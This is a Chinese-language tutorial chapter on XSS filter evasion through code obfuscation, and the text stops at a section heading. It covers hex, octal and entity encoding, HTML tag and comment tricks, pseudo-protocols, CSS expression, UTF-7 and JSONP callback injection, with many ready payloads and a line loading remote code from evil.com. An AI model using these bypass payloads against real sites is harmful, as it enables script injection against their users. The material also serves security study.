返回介绍

6.7 混淆的代码

发布于 2024-01-20 15:41:03 字数 26077 浏览 0 评论 0 收藏 0

从前面的知识可以知道:漏洞挖掘不是一件轻松的事情。在实际的跨站中,我们往往不能随心所欲地注入代码,因为可能会有各种无法预料的过滤,有可能某些特殊字符被校验了,某些关键词被过滤了,从而导致代码不能够正常执行。为了提高漏洞挖掘的成功率,我们经常需要对各种代码进行混淆,以绕过过滤机制。本节介绍混淆代码的相关知识点,为我们以后能更灵活地运用混淆方式打好基础。

6.7.1 浏览器的进制常识

谈到代码混淆,在此有必要先来学习一下进制的常识。在浏览器中常用的进制混淆有八进制、十进制和十六进制。

我们常常会在HTML的属性中用到十进制和十六进制。十进制在HTML中可使用8来表示,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。如果要用十六进制,则使用Z表示,比十进制多了个x,进制码中也多了a~f这6个字符来表示10~15,其中后缀也可以没有,而且x和a~f这几个字符大小写不敏感,这个后面会提到。

在CSS的属性中,我们也只能用到十进制和十六进制,CSS兼容HTML中的进制表示形式,除此之外,十六进制还可以使用\6c的形式来表示,即使用斜线作为进制数值前缀。

在JavaScript中可以直接通过eval执行的字符串有八进制和十六进制两种编码方式,其中八进制用\56表示,十六进制用\x5c表示。需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字、韩文等),如果代码中应用了汉字并且需要进行进制编码,那么只能进行十六进制Uni-code编码,其表示形式为:\u4ee3\u7801(“代码”二字的十六进制编码)。

除此之外,我们也会遇到其他一些编码形式,如URLEncode,以及用进制数值表示IP的格式等,后面的例子中我们也会有所提及。

我们现在基本了解了进制在各种脚本语言中的展示形式,那么如何将代码转化成这些进制字符呢?非常幸运的是,我们无须用C语言或其他什么软件来进行进制编码和解码,JavaScript自身就带有两个函数可以处理这个事情:char.toString(jinzhi)(char为需要编码的单字,jinzhi为需要编码的进制,可以填写2、8、10、16或其他之类数字,有兴趣的朋友可以自行研究)、String.fromCharCode(code,jinzhi)(code为需要进制解码的数字,jinzhi为当前数字的进制)。

所以,我们可以编写自己的进制编/解码函数,示例如下:

var Code = {};
Code.encode = function (str, jinzhi, left, right, digit) {
  left = left || "";
  right = right || "";
  digit = digit || 0;
  var ret = "",
    bu = 0;
  for (i = 0; i < str.length; i++) {
    s = str.charCodeAt(i).toString(jinzhi);
    bu = digit - String(s).length + 1;
    if (bu < 1) bu = 0;
    ret += left + new Array(bu).join("0") + s + right;
  }
  return ret;
};
Code.decode = function (str, jinzhi, for_split, for_replace) {
  if (for_replace) {
    var re = new RegExp(for_replace, "g");
    str = str.replace(re, '');
  }
  var arr_s = str.split(for_split);
  var ret = '';
  for (i = 0; i < arr_s.length; i++) {
    if  (arr_s[i])  
      ret  +=  String.fromCharCode(parseInt(arr_s[i], jinzhi));
  }
  return ret;
};

代码中建立了Code对象,并为其添加了en-code和decode两个方法。其中,encode方法拥有以下5个参数。

· str: 需要进行编码的字符。

· jinzhi: 需要编码到的目标进制,如2、8、10、16。

· left: 编码数值的前缀。

· right: 编码数值的后缀。

· digit: 数值位数,补0(如digit设为4,编码数值为65,那么补0的结果为0065)。

decode方法拥有以下4个参数。

· str: 需要进行解码的数值串。

· jinzhi: 原数值串的编码进制。

· for_split: 以某个(或某几个)字符作为分隔符。

· for_replace: 需要删除的其余字符(如以前缀作为分隔,则需要删除的字符就为后缀)。

然后运行下列语句:

Code.encode("Hello", 16, '&#x', ';', 4);

将会编码成如下形式:

Hello

我们再运行下列语句:

Code.decode("Hell
o",16, ';', '&#x');

将重新解码成:Hello。

更多这方面的功能可以使用monyer在线加解密工具,网址如下:

http://monyer.com/demo/monyerjs/

该工具的使用方法很简单:在文本框中填入想

src=http://
;ww
w.baidu&#x
2e;co
m/img/b&#x
61;id
u_sylog&#x
6f;1.
gif>

图6-10 monyer在线加解密工具

当浏览器在运行这两行代码时,如果我们依然看到两张图片显示出来,那么浏览器自身已经对上述编码做了自动解码(6.2.1节已对该机制做过描述)。其中的十进制编码设定了其最小位数为3位,所以不够3位的数值用0补充,这在实际的代码混淆中很有用,它可以用来绕过一些站点的过滤器,不过不同的浏览器对所能支持的位数有一定的要求,如IE只能支持最大7位数值,而对Chrome来说,设置位数无限制。

另外,由于进制方式对字母的大小写不敏感,后缀“;”也不是必需的,并且我们也可以将常规字符、十进制编码和十六进制编码字符混合,所以可以将代码混淆成如下形式,它依然是有效的:

<img src=http:/
;/www.baidu.com/
img/
baidu_sylogo1.gif>

接下来看一下CSS中的进制用法,代码如下:

<div>1</div>

对其进行十进制编码和十六进制编码的效果分别如下:

<div>1</div>
<div>1</div>
<div>1</div>

这里需要注意的是,如果使用“\62\61”形式进行十六进制编码,那么要注意将CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。同样,我们可以把以上三种编码方式混合到一个字符串中,达到如下效果,代码依旧可以正确执行:

<div>1</div>

接下来看一下JavaScript中字符串的进制用法,假设原始语句如下:

<script>eval("alert('你好')");</script>

其八进制和十六进制表示的代码如下:

<script>eval("\141\154\145\162\164\50\47\u4f6
0\u597d\47\51");</script>
<script>eval("\x61\x6c
\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>

其中,中文部分一定要使用Unicode的形式,即'\u'加上汉字的十六进制编码。

另外,虽然十进制不能直接通过eval来执行,但可以使用String.fromCharCode函数先对数值进行解码,然后传递给eval执行,例如:

<script>eval(String.fromCharCode(97,108,101,1
14,116,40,39,120,115,115,39,41,59));</script>

以上就是我们需要了解的浏览器端进制的常识,接下来学习浏览器的其他常见编码。

6.7.2 浏览器的编码常识

在JavaScript中,有三套编/解码的函数,分别为:

escape/unescape
encodeURI/decodeURI
encodeURIComponent/decodeURIComponent

我们对字符串“<Hello+World>”用三种加密方式分别进行加密的结果如表6-2所示。

表6-2 三种编码函数加密的结果

加密方式加密结果

Escape:%3CHello+World%3E
EncodeURI:%3CHello+World%3E
encodeURIComponent:%3CHello%2BWorld%3E

我们发现三种加密方法近乎相同,不过实际上它们还是有少许区别的。

escape不编码的字符有69个:

*、+、-、.、/、@、_、0~9、a~z、A~Z

而且escape对0~255以外的unicode值进行编码时输出%u**格式。

encodeURI不编码的字符有82个:

!、#、$、&、'、(、)、*、+、,、-、.、/、:、;、=、?、@、_、~、0~9、a~z、A~Z

encodeURIComponent不编码的字符有71个:

!、'、(、)、*、-、.、_、~、0~9、a~z、A~Z

另外,我们可以编写一个函数来使escape可以对所有的字符进行编码,代码如下:

var ExEscape = function (str) {
  var _a, _b;
  var _c = "";
  for (var i = 0; i < str.length; i++) {
    _a = str.charCodeAt(i);
    _b = _a < 256 ? "%" : "%u"; //u不可以大写
    _b = _a < 16 ? "%0" : _b;
    _c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase()
  }
  return _c;
}

这样我们可以使用eval(unescape(%61%6C%65%72%74%28%31%29));的形式来绕过过滤器对某些关键词的过滤。

除了JavaScript提供的这三种加/解密方法外,我们还需要了解HTMLEncode、URLEncode、JSEncode、UTF-7编码、Base64编码的相关知识,这些内容将会在后面具体应用时深入探讨。

6.7.3 HTML中的代码注入技巧

编写过HTML代码的人或许知道,完整的HTML代码分为:标签名、属性名、属性值、文本、注释。其中,属性可以是JavaScript事件、资源链接或data对象。当HTML Filter做过滤时,同样是从这些维度出发的,对这些位置可能出现的XSS形式进行过滤,而我们要做的就是使这种过滤手段失效,将我们的代码插入到想要执行的地方。下面来看看我们可以对它们做什么样的绕过方式。

1. 标签

由于HTML语言的松散性和各标签的不同优先级,使得我们可以创造出很多代码混淆或绕过方式。如HTML标签是不区分大小写的,我们可以全部小写:

<script></script>

也可以全部大写或者大小写混合:

<SCRIPT></ScRiPt>

这对代码的运行没有丝毫的影响,但是这样会阻碍过滤器对关键词的识别。另外,由于现代浏览器对XHTML的支持,使得我们可以在某些浏览器的某些版本中插入XML代码、SVG代码或未知标签。

如在IE 6下可以构造如下代码:

<XSS STYLE="xss:expression(alert('XSS'))">

如果对方站点的HTML过滤器是基于黑名单的,很明显,<XSS>标签不在名单之列,使得插入的代码得以被绕过。我们可以通过fuzzing的方式确认究竟哪些标签可用,哪些标签不可用。通常情况下,黑名单的过滤器总会留下漏网之鱼,当然,这类标签都是不常用的标签,例如,以下几个就比较少见:

<isindex PROMPT="click picture"
action="javascript:alert(1)" src="
http://www.baidu.com/img/baidu_logo.gif" 
style="width:290;height:171" type="image">
<BGSOUND SRC="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" 
CONTENT="0;url=javascript:alert('XSS');">

另外,也可以尝试分析出过滤器的缺陷进行针对性的绕过,例如,对方的过滤器判断标签的方法为:

/<([^>]+)>.*?<\/([^>]+)>/

那么当我们构造代码为:

<<SCRIPT>alert("XSS");//<</SCRIPT>

就不会被匹配到,当然,真实的过滤器逻辑会比这个复杂许多,我们可能需要相当长的模糊测试才能够分析出它的大概过滤流程,并构造独特的代码混淆方式。

另外,有些过滤器的HTML Parser很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*-->,但注释可以这样写:bbb<!-- aaa <!--aaa--> ccc-->bbb,这样,“ccc”代码就暴露出来可以执行了。

而与之相反,有些HTML Parser不关心是否有注释,只关心HTML标签、属性、属性值是否有问题,如标签是否是<script>,属性是否是JavaScript事件,属性值是否是伪协议等。但是由于注释优先级较高,我们可以构造以下一段代码:

<!--<a href="--><img src=x onerror=alert(1)//">test</a>

扫描器忽略了HTML注释后,会认为下面这段是一个完整的HTML语句:

<a href="--><img src=x onerror=alert(1)//">test</a>

那么下面这段就被认为是属性href的值:

"--><img src=x onerror=alert(1)//"

从而对这段代码进行放行。但实际上对浏览器来说,<!--<a href="-->是注释内容,<img src=xonerror=alert(1)//">则是一个完整的img标签,而onerror则成了一个独立的事件属性得以执行。

另外还有一种特殊的注释:IE HTML条件控制语句,代码样式如下:

<!--[if IE]>所有的IE可识别<![endif]-->
<!--[if IE 6]>仅IE6可识别<![endif]-->
<!--[if lt IE 6]> IE6以及IE6以下版本可识别<![endif]-->
<!--[if gte IE 6]> IE6以及IE6以上版本可识别<![endif]-->

这是IE所独有的,在其他浏览器看来与普通注释无异,但是在IE看来却是可根据条件执行的,这给我们绕过过滤器创造了可乘之机。另外,如下两种条件语句也是可以在IE下被解析执行的:

<!--[if]><script>alert(1)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->

在HTML语法中有标签优先级的概念,有些标签如<textarea>、<title>、<style>、<script>、<xmp>等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性:

<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">

如上代码在不分优先级的过滤器看来是一个<title>或<style>标签,后面跟了一个<a>标签,那么如果标签和属性都是合法属性,代码就会被放行,但是在浏览器看来则是一对<title>或<style>标签和一个<img>标签,因为<img>拥有一个自动执行的onerror事件属性,使得我们放在事件中的代码得以执行。从这点看,我们可以认为HTML注释本身是一个高优先级的标签。如果过滤器将如上标签也过滤了,那么我们也可以尝试以下这些方式:

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">

这些都是前人模糊测试的结果,前三种可在Firefox和Webkit浏览器中执行,第四种可以在IE中执行。如果过滤器是基于黑名单过滤的,那么有可能会忽略这些。

2. 属性

与标签相似,HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以用单引号,甚至不用引号在HTML语法上也是正确的。而且在IE下面还可以用反引号来包括属性值,形式分别如下:

<img src="#">(双引号)
<img SRC='#'>(属性名大写、属性值单引号)
<img sRC=# >(属性名大小混合写,属性值不用引号)
<img src=‛#‛>(属性值要用反引号包括)

此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))或者tab(chr(9))等,并且个数不受限制,如:

<img src=x onerror= "alert(1)">

这样的混淆方法是可以在各大浏览器上执行的。另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即ASCII值为1~32这32个控制字符,不同的浏览器都有各自的处理方式,如下语句:

<a  href=" javascript:alert(1)">test</a>

是可以在IE、Firefox、Chrome下执行的,但语句:

<a  href=" javascript:alert(1)">test</a>

就仅可以在IE和Firefox下执行。因此,在使用控制字符时,要有一个预期,期望自己的代码能在哪些浏览器上运行,甚至是哪些浏览器的哪些特定版本上运行。

以上手段在我们绕过富文本过滤器时是非常有用的。对方站点一般允许我们直接输入HTML语句的位置多是发表文章、留言、回帖等文本框位置,这也通常是存储型XSS存在的地方。

当利用反射型XSS漏洞时,有时输出的变量会出现在HTML文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。

HTML属性按用途分,大致可以分普通属性、事件属性、资源属性几种。对于普通属性,如果我们可控制的变量是属性值,那么我们所能做的就只能是突破当前属性,尝试去构造新属性或者构造新标签。若属性值没有用引号,如:

<font color=<?=$_GET['url']?> />

那么我们利用起来就非常简单,使用?url=x%20onerror=alert(1)就可以使代码执行了,将变量合到代码中的形式为:

<font color=x onerror=alert(1) />

如果属性值是被引号包括的:

<font color="<?=$_GET['url']?>" />

那么就只能看看能否构造自己的引号将已有的属性闭合:

?url=x"%20onerror=alert(1) //

将变量合到代码中的形式为:

<font color="x" onerror=alert(1) //" />

但如果对方此时连引号也过滤掉了,或者做了HTMLEncode转义,那么既没有XSS安全隐患,也没有可以利用的方式。不过这里目前至少有两个特例:

<img src="x <script>alert(1)</script>" >(IE 6)
<img src= alt=" onerror=alert(1)//">(IE、Firefox、Chrome、Opera等)

两段代码中的可执行部分虽然看起来都在属性值中,但代码的确可以运行,这也是广大跨站师模糊测试的结果。

若我们所能控制的是事件属性,除了像上文所说突破当前属性外,最直接的手段就是直接插入我们的代码等待用户来触发:

<a href="#" onclick="do_some_func(\"<?=$_GET['a']?>\")">test</a>

例如,对如上代码构造参数为:?a=x');alert(1);//或者?a=',alert(1),',那么插入代码后的形式为:

<a href="#" onclick="do_some_func('x');alert(1);//')">test</a>
<a href="#" onclick="do_some_func(",alert(1),")">test</a>

第一段代码将之前的函数闭合,然后构造自己的新代码。第二段代码利用了一个函数可以在另外一个函数中执行的特性,也就是JavaScript中所谓的匿名函数。如果语句是一句话,可以直接写,如果是多句,则需要定义一个匿名方法,语句如下:

<a href="#" onclick="do_some_func('',function()
{alert(1); alert(2);} ,'')">test</a>

另外,关于如何将多个语句合并成一个语句,我们在浏览器的进制常识中已经学到,就是编码。例如,alert(1);alert(2);的十六进制编码如下:

\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c
\x65\x72\x74\x28\x32\x29\x3b

那么就可以构造:

<a href="#" onclick="do_some_func('',eval('\x61\x6c
\x65\x72\x74\x28\x31\x29\x3b\x61\x6c
\x65\x72\x74\x28\x32\x29\x3b') ,'')">test</a>

还有一个常识对我们来说非常重要,HTML中通过属性定义的事件在执行时会做HTMLDecode编码,这意味着即便我们的代码被转义成如下形式:

<a href="#" onclick="do_some_func('',alert(1),'')">test</a>

这段代码依旧是可以执行的。被引入变量只有先进行JSEncode编码,再做HTMLEncode编码,才能彻底防御。

对于资源类属性,我们可以理解为属性值需要为URL的属性,通常,属性名都为src或href。这类属性一般都支持浏览器的预定义协议,包括:http:、ftp:、file:、https:、javascript:、vbscript:、mailto:、data:等。在这些协议中,有些协议是网络交互协议,用来和远程服务器传输数据时统一格式,如http:、https:、ftp:等;有些是本地协议,用来调用本地程序执行一些命令,我们一般称后者这种本地协议为伪协议,如javascript:、vbscript:、mailto:、data:等。由于伪协议可以调用本地程序执行命令这一特点,使得它成为我们在XSS中利用的对象。

常见的支持资源属性的HTML标签如下(包括但不限于以下这些):

APPLET, EMBED, FRAME, IFRAME, IMG,
INPUT type=image,
XML, A, LINK, AREA,
TABLE\TR\TD\TH的BACKGROUND属性,
BGSOUND, AUDIO, VIDEO, OBJECT, META 
refresh,SCRIPT, BASE, SOURCE

一个伪协议的声明形式为:协议名:数据,示例如下:

<a href="javascript:alert(1)">test</a>

其中,“javascript”为协议名,冒号“:”作为协议名和数据的分隔符,后面的全部是数据部分。在最初的浏览器定义中,凡是支持输入链接的地方都是支持伪协议的,也就是所谓的IE 6年代。不过现在由于XSS的猖獗,很多浏览器已经把一些被动的(不需要用户交互,可直接随页面加载触发的)资源类链接的伪协议支持屏蔽掉了,比如:

<img src="javascript:alert(1)">

也有一些没有屏蔽,比如:

<iframe src="javascript:alert(1)">

由于IE 6浏览器在国内的市场份额依旧比较高,即便新版本的浏览器中不能够执行代码,覆盖到IE 6的用户对我们的攻击来说也是一次比较成功的XSS运用。

目前在XSS中常用的伪协议有三个:javascript:、vbscript:(协议名也可以简写为vbs:)和data:,前两者分别可以执行JavaScript脚本和VBScript脚本。但是由于VBScript是微软所独有的,所以仅能在IE下执行,其他浏览器都不支持,而IE还不支持data协议。

同HTML标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相仿,数据也可以做自动的HTMLDecode解码以及进制解码,所以我们可以有多种利用方法:

<iframe src="jAvAsCRipt:alert('xss')">
<iframe src="javascript:alert
;("XSS")">
<IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))>

这个特性的增加给过滤器进行代码过滤增加了较大的难度。在XSS发展的初期,当然也是HTML过滤器的发展初期,有些过滤器在实施XSS代码过滤时采取了一种比较鲁莽暴力的黑名单方式。如要过滤“javascript”关键词,那么不管我们提交的数据中的任何位置出现了这个字符,都会被直接替换掉,虽然表面看来似乎有种“宁可错杀一千,也绝不放过一个的派头”。但实际上也只是纸老虎,只能吓唬那些弱小者,稍微有些经验的人使用一点小伎俩就将过滤器绕过了。如采用“java-javascriptscript”这种方式先让过滤器过滤掉一个“javascript”,那么两边的字符合到一起依旧是一个完整的“javascript”字符串。

另外有几个不常用的属性也支持伪协议:

<img dynsrc="javascript:alert('xss')">(IE6)
<img lowsrc="javascript:alert('xss')">(IE6)
<isindex action=javascript:alert(1) type=image>

有时在过滤器仅过滤了src和href中的伪协议时,我们可以用这种属性绕过。还有一些常用标签

表6-3 HTML事件

如果我们想知道对方的过滤器过滤了哪些事件属性,最简单的方式是用fuzzing机制,使用<divon**="aaa">1</div>的形式将所有的事件都生成出来,然后试探目标站点都过滤了哪些。当然,你也可以直接使用onabcd这样的假事件属性构造这样一个语句:<div onabcd="aaa">1</div>,如果连这样的事件都过滤了,说明对方的过滤器可能使用了白名单,或者是把所有以on开头的属性全部过滤掉了。

有些事件的触发条件相对来说比较复杂,甚至需要其他因素,如数据绑定事件只能在IE浏览器下被支持,并且还需要有XML数据的支持:

<xml id=EmpDSO onCellChange="alert(/
onCellChange/)">
<Employees>
<Employee>
<EmpID>E001</EmpID>
</Employee>
</Employees>
</xml>
<INPUT datasrc=#EmpDSO datafld="EmpID" Id="EmpID" 
Name="EmpId" onbeforeupdate="alert(/
onbeforeupdate/)"
onafterupdate="alert(/onafterupdate/)">

当文本框中的数据发生改变后,会依次触发onbeforeupdate、oncellchange、onafterupdate这三个事件。

有些事件的触发则需要给用户一些诱导因素,如ondrag事件需要用户拖动才能触发,但拖动并不是用户的常用动作,此时可以人为设计一个要素,要求用户参与时需要拖动,如图6-11所示。

我们插入图6-11这样的图片,这幅图片看起来像是一个iframe,用户会误以为滚动条是真的,于是向下拖动假的滚动条,然后触发了拖动事件。

图6-11 ondrag事件

另外,有时XSS点被限制在了固定的标签里,而恰巧标签本身没有主动执行的事件,如<input>标签,只能通过onchange、onclick、onmouseover这类需要用户交互的事件才能触发。这使得我们的XSS攻击成功率变得很小,我们需要采取一些手段来提高XSS攻击的成功率,可以使用样式将目标标签变得很大,使得我们的事件很容易被触发:

<input type="text" value="1" 
style="width:100%;height:1000px;position:
absolute:top:0px;left:0px" 
onmouseover="alert(1)">

或者尝试利用某些属性或者通过一些组合的方式使事件得以自动执行:

<input onfocus="alert(1)" autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br>...
<br><br><br><br><input autofocus>
<input type=image src=http://www.baidu.com/img/baidu_sylogo1.gif 
     onreadystatechange=alert(1)>

6.7.4 CSS中的代码注入技巧

本节的一些基本知识点在2.6节已经有所介绍,为了知识的连贯性,有些知识点我们会在此换个思路再提及一遍。

与HTML一样,我们可以将CSS分为选择符、属性名、属性值、规则和声明几部分,以一段CSS为例,代码如下:

@charset "UTF-8";
body{
  background:red;
  font-size:16px;
}
a{
  font-size:14px!important;
}

其中的body和a为选择符;background、font-size为属性名,后面为属性值;@charset为规则;!important为声明。其中能被我们利用插入XSS脚本的地方只有CSS资源类属性值和@import规则,以及一个只能在IE浏览器下执行的属性值expression。另外,@charset这个规则虽然不能被利用插入XSS代码,但是在某种情况下会对我们绕过过滤器给予很大的帮助,后面会有详细介绍。

与HTML类似,CSS的语法同样对大小写不敏感,属性值对单双引号不敏感,对资源类属性来说,URL部分的单双引号以及没有引号也都不敏感,并且凡是可以使用空格的地方使用tab制表符、回车和换行也都可以被浏览器解析。这给我们做代码混淆绕过过滤器带来很多便利之处。

1. CSS资源类属性

与HTML的资源类属性类似,CSS的一些资源类属性的XSS利用也是通过伪协议来完成的,这种利用方式目前只能在IE下被执行,并且IE 9已经可以防御住(但基于IE 9内核trident5的其他浏览器可能没有此防御能力)。目前来看,这类属性基本上都是设置背景图片的属性,如background、background-image、list-style-image等。关键字主要有两个:javascript、vbscript,其用法大致如下:

body{
  background-image:url('javascript:alert(1)');
}
BODY{
  BACKGROUND-image:URL(JavaSCRIPT:alert(1));
}
BODY{
  BACKGROUND-image:URL(vbscript:msgbox(2));
}
li {
  list-style-image: url("javascript:alert('XSS')");
}

CSS还有一类资源类属性可以嵌入XML、CSS或者JavaScript,比如,Firefox2独有的-moz-binding、IE独有的behavior以及规则@import,用法分别如下:

body{
  -moz-binding:url("http://www.evil.com/xss.xml")
}
html{
  behavior: url(1.htc);
}
@import "test.css"

首先看-moz-binding,引入的xss.xml代码如下:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="xss">
<implementation>
<constructor><![CDATA[alert('XSS')]]></
constructor>
</implementation>
</binding>
</bindings>

Firefox不久就修补了引用外域的XML问题,但是同域的还可以这样利用XSS,不过好景也不长,-mod-bingding不再被支持。

然后是behavior,引入的是一段含JavaScript的代码片段。需要注意的是,引用的文件不能够跨域,且路径是相对于CSS文件的路径或者是绝对路径,格式如下:

<PUBLIC:COMPONENT lightWeight="true">
<PUBLIC:ATTACH EVENT="ondocumentready" 
FOR="element" ONEVENT="main()" />
<script type="text/javascript">
function main(){
  alert("XSS");
}
</script>
</PUBLIC:COMPONENT>

behavior XSS在IE下还一直有效。

而规则@import引入的是一段CSS代码,利用方式与正常的CSS利用相同,这里不再赘述。由于在CSS属性名的任何地方都可以插入反斜线“\”以及反斜线+0的各种组合,如:

@\imp\ort "url";
@Imp\0000orT "url";
@\i\0\M\00p\000o\0000\00000R\000000t "url";

并且由于声明语句“!important”中也包含“import”字符串,导致不可以通过直接过滤关键字的方式来达到防御效果,从而使过滤器对@im-port的过滤在最初几年一直支持不好。

2. expression

expression是IE所独有的CSS属性,其目的就是为了插入一段JavaScript代码,示例如下:

a{text:expression(target="_blank");}

当在IE下执行这段CSS后,它会给所有的链接都加上target="_blank"属性。如果将“tar-get="_blank"”替换成其他代码,如alert(1),那么刷新页面后就会不断地弹出窗口。从中我们不难发现,expression中的代码相当于一段JavaScript匿名函数在当前页面的生命周期内是不断循环执行的,但在某些情况下,我们并不期望XSS代码被一遍又一遍地执行。我们要想尽办法打破这个循环,那么就必须在匿名函数之外设置全局变量来标记我们的执行或许是其他某种可以标记的方式:

expression(if(window.x!=1)
{alert(1);window.x=1;});

比较遗憾的是,我们不能像混淆@import规则一样使用\0000去混淆expression,但我们可以使用注释来进行混淆(同样,注释不能用来混淆@im-port):

body{xss:e/**/
xpression((window.x==1)?'':eval('x=1;alert(2)
;'));}
body{/*a*/x/*a*/ss/*a*/:/*a*/e/**/xpression/
*a*/
((window.x==1)?'':eval('x=1;alert(2);'));}

而且在IE 6下甚至可以用全角字符来混淆ex-pression关键字,也可以被执行,达到绕过过滤器的目的:

body{xss:express
ion((window.x==1)?'':eval('x=1;alert(2);'));}

另外,我们先前提到的进制编码也是绕过过滤器的有效手段:

body{\078\073\073:
\065\078\070\072\065\073\073\069\06f
\06e((window
.x==1)?'':eval('x=1;alert(2);'));}

3. 利用UTF-7编码进行CSS代码混淆

我们在6.7.1节中介绍monyer在线加解密工具时,提过两个加/解密:UTF7 Encode和UTF7Decode(由于代码行数很长,这里不提供)。将页面进行UTF-7编码,这为混淆我们的代码、绕过对方的过滤器提供了很大便利,例如,对代码:

expression(if(window.x!=1)
{alert(1);window.x=1;});

进行UTF-7完全编码后的效果如下:

e+AHgAcABy-e+AHMAcw-i+AG8-n+ACg-if+ACgAdw-ind
+AG8AdwAuAHgAIQA9ADEAKQB
7AGEAbA-e+AHIAdAAoADEAKQA7AHc-ind
+AG8AdwAuAHgAPQAxADsAfQApADs-

当然,我们也可以仅进行部分编码:

expression+ACg-if+ACg-window+AC4-x
+ACEAPQ-1+ACkAew-alert+ACg-1+ACkAOw
-window+AC4-x=1+ADsAfQApADs-

添加上之前提到的一个规则@charset,并将值设置为UTF-7,我们将可以顺利执行XSS代码:

@charset "UTF-7";
body
{aaa:expression+ACg-if+ACg-window+AC4-x
+ACEAPQ-1+ACkAew-alert+ACg
-1+ACkAOw-window+AC4-x=1+ADsAfQApADs-}

除此之外,根据6.5.2节的相关描述,也可以用如下几个特殊字符来替代“@charset "UTF-7";”语句:

+/v8
+/v9
+/v+
+/v/

前提是这几个字符必须处于文件的头部,如:

+/v8
body {font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8
AbgAoAGEAbABlAHIAdAAoAD
EAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-
';
}

这里利用了IE解析文件时,如果发现头部是“+/v8”(或其他几个字符),就把文件当做UTF-7解析的特性,IE对这个问题已经进行了修补,大家可以在IE 6下测试,因为IE 6不会再有这些安全补丁了。

6.7.5 JavaScript中的代码注入技巧

当XSS点出现在JavaScript代码的变量中时,只要我们可以顺利闭合之前的变量,接下来就可以插入我们的代码了,示例如下:

var a = "[userinput]";

假设其中的[userinput]是用户可控变量,则可以尝试用引号来闭合变量,假如输入:

123";alert(1);b="

那么代码效果如下:

var a = "123";alert(1);b="";

a变量被闭合,alert(1)得以逃脱出来,而b变量的存在是为了使语法保持正确,当然,我们也可以输入注释符“//”来忽略掉后面的错误语法:

var a = "123";alert(1);//";

不过有时候我们寻找XSS注入点并非这么容易,如果对方的站点对[userinput]使用了addslashes,这样单引号、双引号和反斜线的前面都会增加一条反斜线,使得无法通过直接使用引号来闭合:

var a = "123\";alert(1);//";

这时该怎么办?如果在宽字节环境下,就可以采用宽字节的方式进行(参考6.5.1节),或者也可以用下列语句:

var a = "123</script><script>alert(1);</script>";

对HTML页面中的JavaScript代码来说,</script>闭合标签具有最高优先级,可以在任何位置中断JavaScript代码。所以,在实际的过滤器实现中,事实上还会区分引用变量中是否使用了</script>闭合标签,如果使用了,则要用反引线做转换“<\/script>”。另外,还要注意引用变量的数据走向,看能否有DOM XSS的可能性。

1. JSON

数据提供方提供数据的callback格式为:

some_function([{'id':123, data:'some_data'}]);

如果恰巧在这个过程中,数据提供方没有对callback函数名做安全过滤,并且页面本身也没有对HTTP响应头中的Content-Type做限制,那么我们便跨域直接对callback参数进行利用,输入我们的XSS代码,如构造请求:

get_json.php?id=123&call_back=<script>alert(1);</script>

那么数据提供方返回的数据就会成为如下形式:

<script>alert(1);</script>([{'id':123, data:'some_data'}];

由于页面是可访问的,浏览器默认就会当成HTML来解析,使得我们的XSS得以执行。到目前为止,大约三分之一拥有callback的JSON数据提供方都可以被利用。而有一部分JSON数据提供方则采取过滤的方式防御,大部分是过滤了“<>”这两个字符,使得攻击者没有办法直接构造出HTML标签来。不过这并没有挡住跨站师的脚步,在上文CSS代码混淆中,我们提到过通过UTF-7编码来绕过过滤器,这种方法同样也可以应用到其他文本。恰巧callback函数是处于文件开头,所以直接使用“+/v8”等字符让IE浏览器认为这是一个UTF-7编码的文件,之后再将我们的XSS代码进行UTF-7编码放进来即可(如前文所说,这种方式已经是历史)。我们编写利用代码为:

+/v8 +ADw-script+AD4-alert(1)+ADw-/script
+AD4(为<script>alert(1)</script>的UTF-7编码)

经过URL编码后附在callback参数后面:

get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4

这样数据提供方返回给我我们的数据为:

+/v8 +ADw-script+AD4-alert(1)+ADw-/script
+AD4({‘id’=>123,data=>’some_data’});

通过IE解析后,就可以认为是UTF-7编码,并执行我们构造的语句。

不过还有一部分数据提供方采取了另一种巧妙的防御策略:给JSON数据页面HTTP响应头设置Content-Type,来使访问该页面时以下载的方式呈现,而不是HTML的方式呈现。但这种防御策略有可能会有两种方式被我们绕过。

1)方式一

看提供方的Content-Type设计得够不够好,有些提供方设置的是“text/javascript”,这种type在IE下是有效的,但是在Firefox下,我们构造的代码依旧可以执行。

有些提供方设置的是“text/plain”,这在Firefox下是有效的,但是在IE下却会执行。

有些甚至把Content-Type设置成zip的头“application/x-zip-compressed”,但这种Con-tent-Type对于http://test/test.php?xss=123请求的确是有效的,但是对于http://test/ test.php?xss=<script>alert(1)</script>请求,在IE下却会失效。

一般认为设置成“application/json”相对来说还是比较有效的,不过根据情形,也有可突破的可能性,这就要谈到方式二。

2)方式二

